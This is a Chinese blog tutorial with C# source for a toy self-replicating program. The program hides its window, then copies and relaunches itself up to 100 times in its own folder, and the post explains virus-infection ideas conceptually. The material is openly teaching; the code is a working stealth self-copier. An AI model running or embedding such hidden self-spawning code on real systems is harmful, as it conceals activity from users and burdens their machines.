下面我将用
C#简单的实现一个能够自我复制的小小的恶意程序。
程序要实现下面几个功能。
第一,运行时不出现运行界面,当然,在任务管理器里,还是可以看到进程的,道行再深的病毒也不可能无迹可寻。
第二,程序在运行目录下自我复制n份。
第三,采用递归复制的方法,即第一个程序生成第二个程序,第二个程序生成第三个程序,以此类推。
源代码很简单,下面来分析一下:
35 // 不在任务栏显示 36 this.ShowInTaskbar = false; 37 // 窗体透明 38 this.Opacity = 0; |
System.
Windows.Forms.Form类封装了一般的
Windows窗口程序大部分特性,极大的简化窗口界面的设计过程,上面这两个属性用于隐藏我们的程序的运行状态,第一个ShowInTaskbar属性,设置为否时,程序就不会在状态栏上面显示。第二个Opacity属性,表示窗口的不透明度,取值在0到100之间。0%的不透明度也就是100%透明了。这样,在程序运行时,你就看不见窗体了。
44 // 默认复制次数 45 const int TOTAL = 100; 46 int _count = TOTAL; 47 // 正在运行的程序路径和文件名 48 string _file = Application.ExecutablePath; 49 // 正在运行的程序路径 50 string _path = Application.StartupPath; 51 // 正在运行的程序文件名 52 string _name = _file.Replace(string.Format("{0}//", _path), string.Empty).ToLower(); 53 try 54 { 55 _count = int.Parse(_name.Replace(".exe", string.Empty)); 56 _count--; 57 } 58 catch 59 { 60 } 61 finally 62 { 63 } 64 // 目标文件 65 string _target = string.Format("{0}//{1}.exe", _path, _count.ToString("000"));
|
Application类提供了获取程序运行绝对路径并包括文件名的属性和程序运行绝对路径的文件名属性,竟然不直接提供一个文件名的属性,好奇怪。正规的截取文件名的方法应该根据"/"来判断,这里采用了替换的方法,大家可以思考一下如果用SubString怎么实现。55和56行,如果文件名不是数字,那么从100.exe开始生成,如果你执行了10000.exe的文件,那么狠糟糕,你可能需要注销一下当前用户来终止程序运行,当然,让它运行也不会有多大影响。最后,65行,我们把目标锁定在程序的当前目录下。病毒和流氓软件就没有那么客气了,经常它可能会选择磁盘根目录、C:/Winodws、C:/Windows/System32或者其他重要的系统目录中。而且病毒采用了随机的命名方式或者是模仿系统文件名称的固定命名方式,以达到隐藏自身和迷惑用户的目的。
67 if ((File.Exists(_file)) && (_count > 0)) 68 { 69 // 复制 70 FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); 71 byte[] _buffer = new byte[_fileStream.Length]; 72 _fileStream.Read(_buffer, 0, _buffer.Length); 73 _fileStream.Close(); 74 // 如果目标已存在,删除 75 if (File.Exists(_target)) 76 { 77 File.Delete(_target); 78 } 79 // 粘贴 80 FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None); 81 _writer.Write(_buffer, 0, _buffer.Length); 82 _writer.Close(); 83 // 运行刚复制完成的程序 84 System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(_target)); 85 } 86 Application.Exit(); |
最后,我们来完成第三个目标,自我复制并且运行复制好的新程序。前面我们得到了_file程序运行绝对路径并包括文件名,这样,我们就可以打开并读取它了。File是文件操作的静态方法,它只负责打开,关闭,创建和删除文件,对文件的读写,就要由FileStream来操作了。这里只是整个复制文件,非常的简单。病毒的特性是可以附加到别的程序或文件上,整个过程就比较复杂了。首先,需要非常了解可执行文件的结构,把原来的可执行文件分解,并且把自身也进行分解,然后重新组合成一个新的可执行文件,但是执行的次序已经改变了,程序开始会先跳转到病毒代码,保证病毒能够被执行后,再跳转回正常的程序代码,以使病毒能够得以在隐藏的状态下执行。84行调用了新复制完成的程序。以使得新复制的程序能够自动运行,并且进行下一次的复制。同样的道理,现在非常多的软件都提供了自动更新的功能,它的原理基本也是这样,
下载升级包,主程序调用升级程序,如果有必要,主程序会先退出,升级程序完成对主程序或者其他文件的复制更新,然后再重新调用主程序。由此可见,计算机的功能是没有好坏之分的。病毒能够运用的原理,普通程序当然也能够利用。水能载舟亦能覆舟就是这个道理。
分享到:
相关推荐
不仅因为Windows系统的脆弱,而且因为病毒无休止的自我复制和满硬盘的藏匿,使得我们脆弱的神经不堪重负,面对千疮百孔,有着...此程序就是用C#简单的实现一个能够自我复制的小小的恶意程序。(仅供学习,切勿害人)
C#实现从剪贴板复制图像到窗体C#实现从剪贴板复制图像到窗体
通过制作窗体应用程序(C#画图软件),熟悉基本的窗体设计过程以及控件设计,事件处理等,熟悉使用C#的winform窗体进行绘图的基本步骤,对于面向对象编程有更加深刻的体会.对于画板来说,其中很重要的就是工具,因此,我们...
C#实现的软件试用期设置,里面包含两种实现方法,一种需访问注册表,另一种不需要访问注册表
基于c#实现的简单记事本,具有复制,粘贴,剪切,修改字体格式等功能。适合c#初学者
C#实现软件注册功能C#实现软件注册功能C#实现软件注册功能
c#留言板的简单实现c#留言板的简单实现c#留言板的简单实现c#留言板的简单实现c#留言板的简单实现c#留言板的简单实现c#留言板的简单实现c#留言板的简单实现
C#实现截屏。vs2015C#实现简单截屏功能,供大家参考学习
C#实现基于VLC实现的简易音乐播放器,可作为毕业设计、课程设计、期末大作业等。C#实现基于VLC实现的简易音乐播放器,可作为毕业设计、课程设计、期末大作业等。C#实现基于VLC实现的简易音乐播放器,可作为毕业设计...
C#实现软件加壳
C#实现图像处理软件,好不容易找到的,对自己有帮助,大家学习。
用C#实现的windows服务,完成了数据数据库之间的数据复制功能。
WinForm中图像处理_复制粘贴图像 WinForm 图像处理 复制粘贴图像
C#操作注册表实现软件注册 判断软件是否注册 注册信息存入注册表
C# 简易实现游戏贪吃蛇,可以直接运行
C#软件实现自动升级功能
简单的程序自我复制,已调试可用。
C#如何做软件授权实例
C# 画图 可实现调色板 铅笔 圆形 矩形 保存 等基本画图功能